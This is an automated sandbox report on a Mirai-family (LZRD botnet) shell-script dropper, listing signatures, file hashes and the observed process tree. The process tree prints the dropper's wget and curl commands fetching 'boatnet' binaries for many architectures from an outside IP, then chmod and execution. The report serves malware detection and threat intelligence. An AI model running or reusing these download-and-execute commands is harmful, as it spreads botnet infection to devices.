Analysis

  • max time kernel
    150s
  • max time network
    145s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20240611-en
  • resource tags

    arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    23-01-2025 04:22

General

  • Target

    f15049236ee277bc23f3374ffb5d52a3061573cda7e98892d685e06450d38aff.sh

  • Size

    2KB

  • MD5

    a04231d2572fe53296e84de33494e755

  • SHA1

    858cf66fac781dde0b6be798bec7976b36d91826

  • SHA256

    f15049236ee277bc23f3374ffb5d52a3061573cda7e98892d685e06450d38aff

  • SHA512

    3f3405f3c6a3977d5445fa9595aeaba7e8531882a3d681a28e4ddb13777241765e7ffdbc329e2587ba70c97017fd65eae2376e5ce6ea54a4404d4ac92e0ccb96

Malware Config

Extracted

Family

mirai

Botnet

LZRD

Extracted

Family

mirai

Botnet

LZRD

Extracted

Family

mirai

Botnet

LZRD

Signatures

  • Mirai

    Mirai is a prevalent Linux malware infecting exposed network devices.

  • Mirai family
  • File and Directory Permissions Modification 1 TTPs 15 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 15 IoCs
  • Modifies Watchdog functionality 1 TTPs 4 IoCs

    Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Writes file to system bin folder 4 IoCs
  • UPX packed file 2 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Checks CPU configuration 1 TTPs 15 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 3 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 28 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/f15049236ee277bc23f3374ffb5d52a3061573cda7e98892d685e06450d38aff.sh
    /tmp/f15049236ee277bc23f3374ffb5d52a3061573cda7e98892d685e06450d38aff.sh
    1⤵
    • Executes dropped EXE
    • Writes file to tmp directory
    PID:652
    • /usr/bin/wget
      wget http://193.200.78.24/hiddenbin/boatnet.x86
      2⤵
      • Writes file to tmp directory
      PID:657
    • /usr/bin/curl
      curl -O http://193.200.78.24/hiddenbin/boatnet.x86
      2⤵
      • Checks CPU configuration
      • Reads runtime system information
      • Writes file to tmp directory
      PID:665
    • /bin/cat
      cat boatnet.x86
      2⤵
        PID:675
      • /bin/chmod
        chmod +x boatnet.x86 f15049236ee277bc23f3374ffb5d52a3061573cda7e98892d685e06450d38aff.sh systemd-private-cd782eb87cfa440791e0a18dd329d89e-systemd-timedated.service-uypvK8 WTF
        2⤵
        • File and Directory Permissions Modification
        PID:677
      • /tmp/WTF
        ./WTF
        2⤵
          PID:678
        • /usr/bin/wget
          wget http://193.200.78.24/hiddenbin/boatnet.mips
          2⤵
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:681
        • /usr/bin/curl
          curl -O http://193.200.78.24/hiddenbin/boatnet.mips
          2⤵
          • Checks CPU configuration
          • Reads runtime system information
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:684
        • /bin/cat
          cat boatnet.mips
          2⤵
          • System Network Configuration Discovery
          PID:687
        • /bin/chmod
          chmod +x boatnet.mips boatnet.x86 f15049236ee277bc23f3374ffb5d52a3061573cda7e98892d685e06450d38aff.sh systemd-private-cd782eb87cfa440791e0a18dd329d89e-systemd-timedated.service-uypvK8 WTF
          2⤵
          • File and Directory Permissions Modification
          PID:689
        • /tmp/WTF
          ./WTF
          2⤵
            PID:690
          • /usr/bin/wget
            wget http://193.200.78.24/hiddenbin/boatnet.arc
            2⤵
            • Writes file to tmp directory
            PID:693
          • /usr/bin/curl
            curl -O http://193.200.78.24/hiddenbin/boatnet.arc
            2⤵
            • Checks CPU configuration
            • Reads runtime system information
            • Writes file to tmp directory
            PID:695
          • /bin/cat
            cat boatnet.arc
            2⤵
              PID:696
            • /bin/chmod
              chmod +x boatnet.arc boatnet.mips boatnet.x86 f15049236ee277bc23f3374ffb5d52a3061573cda7e98892d685e06450d38aff.sh systemd-private-cd782eb87cfa440791e0a18dd329d89e-systemd-timedated.service-uypvK8 WTF
              2⤵
              • File and Directory Permissions Modification
              PID:697
            • /tmp/WTF
              ./WTF
              2⤵
                PID:698
              • /usr/bin/wget
                wget http://193.200.78.24/hiddenbin/boatnet.i468
                2⤵
                  PID:700
                • /usr/bin/curl
                  curl -O http://193.200.78.24/hiddenbin/boatnet.i468
                  2⤵
                  • Checks CPU configuration
                  • Reads runtime system information
                  • Writes file to tmp directory
                  PID:701
                • /bin/cat
                  cat boatnet.i468
                  2⤵
                    PID:702
                  • /bin/chmod
                    chmod +x boatnet.arc boatnet.i468 boatnet.mips boatnet.x86 f15049236ee277bc23f3374ffb5d52a3061573cda7e98892d685e06450d38aff.sh systemd-private-cd782eb87cfa440791e0a18dd329d89e-systemd-timedated.service-uypvK8 WTF
                    2⤵
                    • File and Directory Permissions Modification
                    PID:703
                  • /tmp/WTF
                    ./WTF
                    2⤵
                      PID:704
                    • /usr/bin/wget
                      wget http://193.200.78.24/hiddenbin/boatnet.i686
                      2⤵
                        PID:705
                      • /usr/bin/curl
                        curl -O http://193.200.78.24/hiddenbin/boatnet.i686
                        2⤵
                        • Checks CPU configuration
                        • Reads runtime system information
                        • Writes file to tmp directory
                        PID:706
                      • /bin/cat
                        cat boatnet.i686
                        2⤵
                          PID:709
                        • /bin/chmod
                          chmod +x boatnet.arc boatnet.i468 boatnet.i686 boatnet.mips boatnet.x86 f15049236ee277bc23f3374ffb5d52a3061573cda7e98892d685e06450d38aff.sh systemd-private-cd782eb87cfa440791e0a18dd329d89e-systemd-timedated.service-uypvK8 WTF
                          2⤵
                          • File and Directory Permissions Modification
                          PID:710
                        • /tmp/WTF
                          ./WTF
                          2⤵
                            PID:712
                          • /usr/bin/wget
                            wget http://193.200.78.24/hiddenbin/boatnet.x86_64
                            2⤵
                              PID:713
                            • /usr/bin/curl
                              curl -O http://193.200.78.24/hiddenbin/boatnet.x86_64
                              2⤵
                              • Checks CPU configuration
                              • Reads runtime system information
                              • Writes file to tmp directory
                              PID:716
                            • /bin/cat
                              cat boatnet.x86_64
                              2⤵
                                PID:719
                              • /bin/chmod
                                chmod +x boatnet.arc boatnet.i468 boatnet.i686 boatnet.mips boatnet.x86 boatnet.x86_64 f15049236ee277bc23f3374ffb5d52a3061573cda7e98892d685e06450d38aff.sh systemd-private-cd782eb87cfa440791e0a18dd329d89e-systemd-timedated.service-uypvK8 WTF
                                2⤵
                                • File and Directory Permissions Modification
                                PID:721
                              • /tmp/WTF
                                ./WTF
                                2⤵
                                  PID:722
                                • /usr/bin/wget
                                  wget http://193.200.78.24/hiddenbin/boatnet.mpsl
                                  2⤵
                                  • Writes file to tmp directory
                                  PID:723
                                • /usr/bin/curl
                                  curl -O http://193.200.78.24/hiddenbin/boatnet.mpsl
                                  2⤵
                                  • Checks CPU configuration
                                  • Reads runtime system information
                                  • Writes file to tmp directory
                                  PID:726
                                • /bin/cat
                                  cat boatnet.mpsl
                                  2⤵
                                    PID:732
                                  • /bin/chmod
                                    chmod +x boatnet.arc boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 f15049236ee277bc23f3374ffb5d52a3061573cda7e98892d685e06450d38aff.sh systemd-private-cd782eb87cfa440791e0a18dd329d89e-systemd-timedated.service-uypvK8 WTF
                                    2⤵
                                    • File and Directory Permissions Modification
                                    PID:734
                                  • /tmp/WTF
                                    ./WTF
                                    2⤵
                                      PID:735
                                    • /usr/bin/wget
                                      wget http://193.200.78.24/hiddenbin/boatnet.arm
                                      2⤵
                                      • Writes file to tmp directory
                                      PID:737
                                    • /usr/bin/curl
                                      curl -O http://193.200.78.24/hiddenbin/boatnet.arm
                                      2⤵
                                      • Checks CPU configuration
                                      • Reads runtime system information
                                      • Writes file to tmp directory
                                      PID:740
                                    • /bin/cat
                                      cat boatnet.arm
                                      2⤵
                                        PID:744
                                      • /bin/chmod
                                        chmod +x boatnet.arc boatnet.arm boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 f15049236ee277bc23f3374ffb5d52a3061573cda7e98892d685e06450d38aff.sh systemd-private-cd782eb87cfa440791e0a18dd329d89e-systemd-timedated.service-uypvK8 WTF
                                        2⤵
                                        • File and Directory Permissions Modification
                                        PID:745
                                      • /tmp/WTF
                                        ./WTF
                                        2⤵
                                        • Modifies Watchdog functionality
                                        • Writes file to system bin folder
                                        • Reads runtime system information
                                        PID:747
                                      • /usr/bin/wget
                                        wget http://193.200.78.24/hiddenbin/boatnet.arm5
                                        2⤵
                                        • Writes file to tmp directory
                                        PID:751
                                      • /usr/bin/curl
                                        curl -O http://193.200.78.24/hiddenbin/boatnet.arm5
                                        2⤵
                                        • Checks CPU configuration
                                        • Reads runtime system information
                                        • Writes file to tmp directory
                                        PID:754
                                      • /bin/cat
                                        cat boatnet.arm5
                                        2⤵
                                          PID:758
                                        • /bin/chmod
                                          chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 f15049236ee277bc23f3374ffb5d52a3061573cda7e98892d685e06450d38aff.sh systemd-private-cd782eb87cfa440791e0a18dd329d89e-systemd-timedated.service-uypvK8 WTF
                                          2⤵
                                          • File and Directory Permissions Modification
                                          PID:759
                                        • /tmp/WTF
                                          ./WTF
                                          2⤵
                                            PID:761
                                          • /usr/bin/wget
                                            wget http://193.200.78.24/hiddenbin/boatnet.arm6
                                            2⤵
                                            • Writes file to tmp directory
                                            PID:762
                                          • /usr/bin/curl
                                            curl -O http://193.200.78.24/hiddenbin/boatnet.arm6
                                            2⤵
                                            • Checks CPU configuration
                                            • Reads runtime system information
                                            • Writes file to tmp directory
                                            PID:765
                                          • /bin/cat
                                            cat boatnet.arm6
                                            2⤵
                                              PID:770
                                            • /bin/chmod
                                              chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 f15049236ee277bc23f3374ffb5d52a3061573cda7e98892d685e06450d38aff.sh systemd-private-cd782eb87cfa440791e0a18dd329d89e-systemd-timedated.service-uypvK8 WTF
                                              2⤵
                                              • File and Directory Permissions Modification
                                              PID:771
                                            • /tmp/WTF
                                              ./WTF
                                              2⤵
                                              • Reads runtime system information
                                              PID:773
                                            • /usr/bin/wget
                                              wget http://193.200.78.24/hiddenbin/boatnet.arm7
                                              2⤵
                                              • Writes file to tmp directory
                                              PID:774
                                            • /usr/bin/curl
                                              curl -O http://193.200.78.24/hiddenbin/boatnet.arm7
                                              2⤵
                                              • Checks CPU configuration
                                              • Reads runtime system information
                                              • Writes file to tmp directory
                                              PID:780
                                            • /bin/cat
                                              cat boatnet.arm7
                                              2⤵
                                                PID:783
                                              • /bin/chmod
                                                chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 f15049236ee277bc23f3374ffb5d52a3061573cda7e98892d685e06450d38aff.sh systemd-private-cd782eb87cfa440791e0a18dd329d89e-systemd-timedated.service-uypvK8 WTF
                                                2⤵
                                                • File and Directory Permissions Modification
                                                PID:784
                                              • /tmp/WTF
                                                ./WTF
                                                2⤵
                                                • Modifies Watchdog functionality
                                                • Writes file to system bin folder
                                                • Reads runtime system information
                                                PID:786
                                              • /usr/bin/wget
                                                wget http://193.200.78.24/hiddenbin/boatnet.ppc
                                                2⤵
                                                • Writes file to tmp directory
                                                PID:790
                                              • /usr/bin/curl
                                                curl -O http://193.200.78.24/hiddenbin/boatnet.ppc
                                                2⤵
                                                • Checks CPU configuration
                                                • Reads runtime system information
                                                • Writes file to tmp directory
                                                PID:794
                                              • /bin/cat
                                                cat boatnet.ppc
                                                2⤵
                                                  PID:796
                                                • /bin/chmod
                                                  chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.ppc boatnet.x86 boatnet.x86_64 f15049236ee277bc23f3374ffb5d52a3061573cda7e98892d685e06450d38aff.sh systemd-private-cd782eb87cfa440791e0a18dd329d89e-systemd-timedated.service-uypvK8 WTF
                                                  2⤵
                                                  • File and Directory Permissions Modification
                                                  PID:797
                                                • /tmp/WTF
                                                  ./WTF
                                                  2⤵
                                                    PID:798
                                                  • /usr/bin/wget
                                                    wget http://193.200.78.24/hiddenbin/boatnet.spc
                                                    2⤵
                                                    • Writes file to tmp directory
                                                    PID:800
                                                  • /usr/bin/curl
                                                    curl -O http://193.200.78.24/hiddenbin/boatnet.spc
                                                    2⤵
                                                    • Checks CPU configuration
                                                    • Reads runtime system information
                                                    • Writes file to tmp directory
                                                    PID:801
                                                  • /bin/cat
                                                    cat boatnet.spc
                                                    2⤵
                                                      PID:802
                                                    • /bin/chmod
                                                      chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.ppc boatnet.spc boatnet.x86 boatnet.x86_64 f15049236ee277bc23f3374ffb5d52a3061573cda7e98892d685e06450d38aff.sh systemd-private-cd782eb87cfa440791e0a18dd329d89e-systemd-timedated.service-uypvK8 WTF
                                                      2⤵
                                                      • File and Directory Permissions Modification
                                                      PID:803
                                                    • /tmp/WTF
                                                      ./WTF
                                                      2⤵
                                                        PID:807
                                                      • /usr/bin/wget
                                                        wget http://193.200.78.24/hiddenbin/boatnet.m68k
                                                        2⤵
                                                        • Writes file to tmp directory
                                                        PID:809
                                                      • /usr/bin/curl
                                                        curl -O http://193.200.78.24/hiddenbin/boatnet.m68k
                                                        2⤵
                                                        • Checks CPU configuration
                                                        • Writes file to tmp directory
                                                        PID:810
                                                      • /bin/cat
                                                        cat boatnet.m68k
                                                        2⤵
                                                          PID:813
                                                        • /bin/chmod
                                                          chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.m68k boatnet.mips boatnet.mpsl boatnet.ppc boatnet.spc boatnet.x86 boatnet.x86_64 f15049236ee277bc23f3374ffb5d52a3061573cda7e98892d685e06450d38aff.sh WTF
                                                          2⤵
                                                          • File and Directory Permissions Modification
                                                          PID:817
                                                        • /tmp/WTF
                                                          ./WTF
                                                          2⤵
                                                            PID:819
                                                          • /usr/bin/wget
                                                            wget http://193.200.78.24/hiddenbin/boatnet.sh4
                                                            2⤵
                                                            • Writes file to tmp directory
                                                            PID:821
                                                          • /usr/bin/curl
                                                            curl -O http://193.200.78.24/hiddenbin/boatnet.sh4
                                                            2⤵
                                                            • Checks CPU configuration
                                                            • Reads runtime system information
                                                            • Writes file to tmp directory
                                                            PID:824
                                                          • /bin/cat
                                                            cat boatnet.sh4
                                                            2⤵
                                                              PID:828
                                                            • /bin/chmod
                                                              chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.m68k boatnet.mips boatnet.mpsl boatnet.ppc boatnet.sh4 boatnet.spc boatnet.x86 boatnet.x86_64 f15049236ee277bc23f3374ffb5d52a3061573cda7e98892d685e06450d38aff.sh WTF
                                                              2⤵
                                                              • File and Directory Permissions Modification
                                                              PID:830
                                                            • /tmp/WTF
                                                              ./WTF
                                                              2⤵
                                                                PID:831

                                                            Network

                                                            MITRE ATT&CK Enterprise v15

                                                            Replay Monitor

                                                            Loading Replay Monitor...

                                                            Downloads

                                                            • /tmp/WTF

                                                              Filesize

                                                              23KB

                                                              MD5

                                                              419af9271063995aa7d8e36f7b9431cc

                                                              SHA1

                                                              048cefabc4702f4f301aba13a453592f862dac99

                                                              SHA256

                                                              7361c9bd5f6688bc9de5c6bd9ca7164edb537ccb08aa9c7522a620d4f410fba1

                                                              SHA512

                                                              eae11b558875bcd46845788e7b0a84ce9c97b80aa4909e34412bb9b9db449bd418421f14db3436adc53483737d21fe69b27a57f2098b24e27d0803d5fe01aa52

                                                            • /tmp/WTF

                                                              Filesize

                                                              105KB

                                                              MD5

                                                              b209d553a02a0ad088f5b52e2bdda33d

                                                              SHA1

                                                              68260c4d8152a82a2df6dfd092969c81a4123431

                                                              SHA256

                                                              704c974b3616dd65eb799023471d933811e2cb7d8704e5e8eadba78d9c92b70f

                                                              SHA512

                                                              37814c4053a35e49907860f061ebbb715391e7f4a00d46ea96591673e94be73d4b032245b2289f60871f1ff870bce293cf12fbc8e7f806179fd068d57b5d6f50

                                                            • /tmp/WTF

                                                              Filesize

                                                              220B

                                                              MD5

                                                              f1c24d9fa40a047ae22d2d3ae7dfeac9

                                                              SHA1

                                                              750274b02d5f5b00026a4f55b020f4285c693533

                                                              SHA256

                                                              219db693bfc6306868548b227030b636aaba7e2b2ad0582a8977ecef92d674bc

                                                              SHA512

                                                              36bd34e999eb4426823cadcf27076cf1128470e340172336ac3e3bdf3f194d0c873684f67b8d341df85eeb955e3c9dc3657ad7c5f05525e5c254476605d5b259

                                                            • /tmp/WTF

                                                              Filesize

                                                              220B

                                                              MD5

                                                              a8f502a6fb3b7b940e922c951d9e493a

                                                              SHA1

                                                              fa94d6dade6bb7537ee3f58f2984b80f4b02dcdf

                                                              SHA256

                                                              748429c25463cc890809a866bfe2cb313f072be73bf5ea88fb4f65e26aa97bec

                                                              SHA512

                                                              e4ada74640d3ad58a6181ab1cd05fadd584788806908b00cf80924a19f29118a17f581d72d9abf1aa207f83d1e4ab163ea6c0c1e0ee6f2e211d1e0d366a27338

                                                            • /tmp/WTF

                                                              Filesize

                                                              57KB

                                                              MD5

                                                              813a453dcd16f3dabca9d11459e89328

                                                              SHA1

                                                              5180409485d6704faee3ab3378b71c1fc1512ac9

                                                              SHA256

                                                              e5af9a223519bafc9f55798d33802a0fe33ada434e7055ad616d50d24e9ddcba

                                                              SHA512

                                                              db98c29a1aa5ffc80bc398a3844521276abb9e52bd66675fdbc0e607e7a7539f5a01a0a458ad48285b82d5270db3a392e6950bf357766de2a110778bb7579b37

                                                            • /tmp/boatnet.x86

                                                              Filesize

                                                              20KB

                                                              MD5

                                                              911aa101a1f5c919712ab954d0dfaa3f

                                                              SHA1

                                                              6778ae6880057cbcebe3a593ee3115ae7eae2847

                                                              SHA256

                                                              30d62335e710f94be1996bf37c15f8c410e493c1c9d10cc7420f736778dc3c41

                                                              SHA512

                                                              981aee28346bcf9af048979ddf305a2483fe2e93d6b3f8dd07fa5793aea9c5b9a8e300b2c6368a5b5c6b7b2205cca4f5b9ea7ab22e191f0854e7bd7e093e9c33